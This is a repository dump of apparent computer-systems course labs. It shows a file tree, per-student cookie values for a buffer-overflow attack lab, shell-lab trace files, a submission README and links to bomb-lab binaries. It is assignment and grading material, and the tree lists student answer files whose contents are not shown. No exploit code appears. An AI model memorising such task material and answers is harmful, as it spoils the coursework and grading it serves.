├── lab1 ├── test_git ├── 10215501434.pdf ├── datalab-handout-2.tar ├── 10205102437.sh ├── 10215501421.sh ├── 10215501422.txt ├── 10215501429.sh ├── 10205501432.sh ├── 10215501442.txt ├── homework01.sh ├── 10215304453.sh ├── 10215501446.txt ├── 10215501428.sh ├── 10215501424.sh ├── 10215501431.sh ├── 10215501401.sh ├── 10215501420.sh ├── 10204810426.sh ├── 10215501423.sh ├── 1021551416.sh ├── 10215501404 高顾源.txt ├── 10215501402.sh ├── 10195501415.sh ├── 10215501405.txt ├── 10215501437.sh ├── 10215501439.sh ├── 10215501419.txt ├── shell.sh ├── 10204602470-code.sh.sh ├── 10215501436.sh ├── 10215501414.sh ├── 10215501409.sh ├── randstring.py ├── 10215501438.txt ├── 10215501443.sh ├── 10215501443.txt ├── 10215501448.txt ├── 10215501432.sh ├── 10215501403.sh ├── 10215501441.sh ├── 10215501435.sh └── 10215501435_hw1.sh ├── lab4 └── attack-handout │ ├── 1 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ └── README.txt │ ├── 2 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ ├── answer4.txt │ └── README.txt │ ├── 3 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ ├── answer4.txt │ └── README.txt │ ├── 4 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ ├── answer4.txt │ └── README.txt │ ├── 5 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ └── README.txt │ ├── 6 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ ├── answer4.txt │ └── README.txt │ ├── 7 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer1.txt │ ├── answer3.txt │ ├── answer4.txt │ └── README.txt │ ├── 8 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ └── README.txt │ ├── 9 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ └── README.txt │ ├── 10 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ └── README.txt │ ├── 11 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ ├── answer4.txt │ └── README.txt │ ├── 12 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ └── README.txt │ ├── 13 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 14 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 15 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 16 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 17 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 18 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 19 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer4.txt │ └── answer3.txt │ ├── 20 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer1.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 21 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer3.txt │ ├── answer1.txt │ └── answer4.txt │ ├── 22 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 23 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 24 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 25 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 26 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 27 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 28 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 29 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer1.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 30 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 31 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 32 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 33 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 34 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 35 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 36 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 37 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 38 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 39 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer4.txt │ ├── answer2.txt │ └── answer3.txt │ ├── 40 │ ├── cookie.txt │ ├── answer2.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 41 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer1.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 42 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 43 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 44 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 45 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 46 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 47 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 48 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 49 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 50 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer3.txt │ ├── answer1.txt │ └── answer4.txt │ ├── 51 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 52 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 53 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 54 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 55 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer1.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 56 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 57 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 58 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 59 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 60 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 61 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 62 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 63 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 64 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 65 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 66 │ ├── cookie.txt │ ├── answer.txt │ ├── ctarget │ ├── hex2raw │ └── rtarget │ ├── 67 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer2.txt │ ├── answer1.txt │ ├── answer3.txt │ ├── answer4.txt │ └── answer5.txt │ ├── 68 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ └── answer4.txt │ ├── 69 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ └── answer1.txt │ └── 70 │ ├── cookie.txt │ ├── ctarget │ ├── hex2raw │ ├── rtarget │ ├── answer1.txt │ ├── answer2.txt │ ├── answer3.txt │ ├── answer4.txt │ └── answer5.txt ├── lab2 └── datalab-handout │ ├── README.md │ ├── dlc │ ├── Driverhdrs.pm │ └── Makefile ├── lab6 ├── shlab-handout │ ├── trace01.txt │ ├── trace02.txt │ ├── trace03.txt │ ├── tshref │ ├── trace04.txt │ ├── trace06.txt │ ├── trace05.txt │ ├── trace11.txt │ ├── trace07.txt │ ├── trace08.txt │ ├── trace12.txt │ ├── trace09.txt │ ├── trace10.txt │ ├── trace16.txt │ ├── trace13.txt │ ├── myspin.c │ ├── trace14.txt │ └── trace15.txt └── handin │ ├── 10204804434tsh.c │ ├── 10215501415tsh.c │ ├── 10215501418tsh.c │ └── README.md ├── lab3 └── bomb-handout │ ├── 1 │ └── bomb │ ├── 2 │ ├── bomb │ └── answer.txt │ ├── 3 │ ├── bomb │ └── answer.txt │ ├── 4 │ ├── bomb │ └── answer.txt │ ├── 5 │ └── bomb │ ├── 6 │ ├── bomb │ └── answer.txt │ ├── 7 │ ├── bomb │ └── answer.txt │ ├── 8 │ └── bomb │ ├── 9 │ └── bomb │ ├── 10 │ ├── bomb │ └── answer.txt │ ├── 11 │ ├── bomb │ └── answer.txt │ ├── 12 │ └── bomb │ ├── 13 │ ├── bomb │ └── answer.txt │ ├── 14 │ ├── bomb │ └── answer.txt │ ├── 15 │ ├── bomb │ └── answer.txt │ ├── 16 │ ├── bomb │ └── answer.txt │ ├── 17 │ ├── bomb │ └── answer.txt │ ├── 18 │ └── bomb │ ├── 19 │ ├── bomb │ └── answer.txt │ ├── 20 │ ├── bomb │ └── answer.txt │ ├── 21 │ ├── bomb │ └── answer.txt │ ├── 22 │ ├── bomb │ └── answer.txt │ ├── 23 │ ├── bomb │ └── answer.txt │ ├── 24 │ ├── bomb │ └── answer.txt │ ├── 25 │ ├── bomb │ └── answer.txt │ ├── 26 │ ├── bomb │ └── answer.txt │ ├── 27 │ ├── bomb │ └── answer.txt │ ├── 28 │ ├── bomb │ └── answer.txt │ ├── 29 │ ├── bomb │ └── answer.txt │ ├── 30 │ └── bomb │ ├── 31 │ ├── bomb │ └── answer.txt │ ├── 32 │ ├── bomb │ └── answer.txt │ ├── 33 │ ├── bomb │ └── answer.txt │ ├── 34 │ └── bomb │ ├── 35 │ ├── bomb │ └── answer.txt │ ├── 36 │ ├── bomb │ └── answer.txt │ ├── 37 │ ├── bomb │ └── answer.txt │ ├── 38 │ └── bomb │ ├── 39 │ ├── bomb │ └── answer.txt │ ├── 40 │ ├── bomb │ └── answer.txt │ ├── 41 │ ├── bomb │ └── answer.txt │ ├── 42 │ ├── bomb │ └── answer.txt │ ├── 43 │ ├── bomb │ └── answer.txt │ ├── 44 │ ├── bomb │ └── answer.txt │ ├── 45 │ ├── bomb │ └── answer.txt │ ├── 46 │ ├── bomb │ └── answer.txt │ ├── 47 │ ├── bomb │ └── answer.txt │ ├── 48 │ ├── bomb │ └── answer.txt │ ├── 49 │ ├── bomb │ └── answer.txt │ ├── 50 │ ├── bomb │ └── answer.txt │ ├── 51 │ ├── bomb │ └── answer.txt │ ├── 52 │ └── bomb │ ├── 53 │ ├── bomb │ └── answer.txt │ ├── 54 │ ├── bomb │ └── answer.txt │ ├── 55 │ ├── bomb │ └── answer.txt │ ├── 56 │ ├── bomb │ └── answer.txt │ ├── 57 │ ├── bomb │ └── answer.txt │ ├── 58 │ └── bomb │ ├── 59 │ └── bomb │ ├── 60 │ └── bomb │ ├── 61 │ └── bomb │ ├── 62 │ └── bomb │ ├── 63 │ └── bomb │ ├── 64 │ └── bomb │ ├── 65 │ ├── bomb │ └── answer.txt │ ├── 66 │ └── bomb │ ├── 67 │ ├── bomb │ └── answer.txt │ ├── 68 │ ├── bomb │ └── answer.txt │ ├── 69 │ ├── bomb │ └── answer.txt │ └── 70 │ ├── bomb │ └── answer.txt ├── README.md ├── lab5 └── malloc-handout │ ├── 10215501418mm.c │ └── malloclab-handout │ ├── fsecs.h │ ├── short1-bal.rep │ ├── short2-bal.rep │ ├── traces │ ├── short1-bal.rep │ └── short2-bal.rep │ ├── memlib.h │ ├── ftimer.h │ ├── clock.h │ └── mm.h ├── gdb_test ├── test3.c ├── test1.c ├── test5.c ├── test2.c ├── test6.c └── test4.c ├── .gitmodules └── .gitignore /lab1/test_git: -------------------------------------------------------------------------------- 1 | test git 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/1/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x776d634c 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/10/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x632ed7f6 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/11/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x657a35fd 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/12/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x70f82552 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/13/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x570d7719 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/14/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7dc15bb0 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/15/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x6495603d 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/16/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x5cb314a2 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/17/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x43449756 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/18/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x698168f6 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/19/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x73b234ba 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/2/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x1df52e94 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/20/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x76a3eeee 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/21/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x2f43d8b7 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/22/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x15dc1f8d 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/23/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7cd58c08 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/24/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x6268a86d 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/25/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x2ea81bc9 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/26/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x2f7d4bb9 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/27/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x5606cb8e 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/28/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7c9df194 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/29/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x23296f82 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/3/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x56a972cc 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/30/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x1b167b39 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/31/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x41df6bbb 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/32/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x68dbdbd3 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/33/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x4d9e347f 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/34/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x75a56fca 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/35/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x5bdbffba 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/36/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x424c3e8a 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/37/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x3b062a3c 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/38/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x216656d2 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/39/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x77c47112 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/4/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x6af46535 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/40/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x2e24b7b9 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/41/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x149a5386 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/42/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7aec6331 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/43/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7385f3d2 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/44/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x1a963e1d 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/45/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x4090a177 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/46/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x6730e9e9 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/47/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x4e31ff6f 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/48/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x3414fc39 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/49/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x5ab26a04 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/5/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x2344243e 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/50/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x46752707 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/51/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7a22b6ce 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/52/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x201c1787 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/53/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x4665e57c 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/54/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x2d46d4c3 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/55/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x140163fd 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/56/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7a094a6c 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/57/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x60cb0f5b 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/58/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x193cee5f 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/59/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x6d681357 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/6/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x4a1ff42a 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/60/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x53d74242 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/61/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x7a55dac2 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/62/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x20c9608f 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/63/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x476cac81 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/64/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x40278a95 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/65/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x272f3e5f 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/66/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x44329d2f 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/67/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x73e74705 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/68/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x598b2983 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/69/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x73f746c5 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/7/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x30a88f63 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/70/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x26eee760 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/8/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x56bed768 2 | -------------------------------------------------------------------------------- /lab4/attack-handout/9/cookie.txt: -------------------------------------------------------------------------------- 1 | 0x3d512b48 2 | -------------------------------------------------------------------------------- /lab2/datalab-handout/README.md: -------------------------------------------------------------------------------- 1 | 请大家将 datalab 提交到该目录中,请不要添加任何多余的文件,只修改文件内对应的函数。 2 | -------------------------------------------------------------------------------- /lab1/10215501434.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab1/10215501434.pdf -------------------------------------------------------------------------------- /lab6/shlab-handout/trace01.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace01.txt - Properly terminate on EOF. 3 | # 4 | CLOSE 5 | WAIT 6 | -------------------------------------------------------------------------------- /lab6/shlab-handout/trace02.txt: -------------------------------------------------------------------------------- 1 | # 2 | # trace02.txt - Process builtin quit command. 3 | # 4 | quit 5 | WAIT 6 | -------------------------------------------------------------------------------- /lab2/datalab-handout/dlc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab2/datalab-handout/dlc -------------------------------------------------------------------------------- /lab3/bomb-handout/1/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/1/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/10/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/10/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/11/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/11/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/12/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/12/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/13/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/13/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/14/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/14/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/15/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/15/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/16/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/16/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/17/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/17/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/18/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/18/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/19/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/19/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/2/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/2/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/20/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/20/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/21/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/21/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/22/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/22/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/23/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/23/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/24/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/24/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/25/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/25/bomb -------------------------------------------------------------------------------- /lab3/bomb-handout/26/bomb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YincongLyu/Computer-Systems-Labs/HEAD/lab3/bomb-handout/26/bomb -------------------------------------------------------------------------------- 